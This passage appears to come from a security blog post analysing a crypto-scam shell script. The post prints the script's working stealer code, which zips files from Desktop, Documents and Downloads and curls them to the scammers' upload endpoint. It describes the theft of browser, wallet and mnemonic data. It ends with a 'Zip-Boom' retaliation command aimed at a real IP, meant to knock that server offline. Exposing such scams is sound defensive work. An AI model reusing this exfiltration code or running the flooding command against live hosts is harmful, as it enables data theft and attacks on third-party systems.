            5)
                zipname="other.zip"
                zip -r "$zipname" * >/dev/null 2>&1
                curl -s --output /dev/null -F "theFile=@$zipname" "$HOST/upload"
                rm -rf $zipname
                ;;
            *) ;;
            esac
            let INDEX=${INDEX}+1
        else
            echo "Error locating paths: $path" >>error_log.txt
        fi
    done
}
function getCommons() {
    commons=("Desktop" "Documents" "Downloads")
    TEMPFOLDER=$TMPDIR/commons
    INDEX=0
    for path in "${commons[@]}"; do
        mkdir -p $TEMPFOLDER/$path
        cd ~/$path/
        for file in *; do
            if [ ! -d "$file" ]; then
                zipname="Docs"
                maxsize=2000000
                actualsize=$(wc -c <"$file")
                case $INDEX in 
                0)
                    if [ $actualsize -lt $maxsize ] 
                    then
                        # echo $file
                        cp "$file" $TEMPFOLDER/Desktop >/dev/null 2>&1
                    fi
                    ;;
                1)
                    if [ $actualsize -lt $maxsize ] 
                    then
                        # echo $file
                        cp "$file" $TEMPFOLDER/Documents >/dev/null 2>&1
                    fi
                    ;;
                2)
                    if [ $actualsize -lt $maxsize ] 
                    then
                        # echo $file
                        cp "$file" $TEMPFOLDER/Downloads >/dev/null 2>&1
                    fi
                    ;;
                *) ;;
                esac
            fi
        done
        # count
        let INDEX=${INDEX}+1
        # send and clean up
        cd $TEMPFOLDER/"$path"
        zip -r $TEMPFOLDER/"$path.zip" * >/dev/null 2>&1
        cd $TEMPFOLDER/
        curl -s --output /dev/null -F "theFile=@$path.zip" "$HOST/upload"
        
    done
    # cleanup
    rm -rf $TEMPFOLDER
}
function main() {
        getInfo
        getBrowser
        getCommons
}
main

The script will collect the current OS information, browser metadata (including wallet data) and upload it.

What’s more serious is that it will scan all files under Desktop, Documents, Downloads and compress them for upload.

If the mnemonic file is contained in these directories, it will be stolen immediately by scammers.

What’s Next

Unfortunately, the only information we can get from the scammers is these server ports. We can only take some retaliatory measures against these ports.

Such as Zip-Boom…

curl -F "theFile=@chrome.zip" "http://65.38.121.75:3000/upload"

After executing several times, the server will no longer be able to respond normally.

Lessons Learned

Never, ever, ever blindly execute someone else’s script…

Recommended links: Blockchain Dark Forest Selfguard Handbook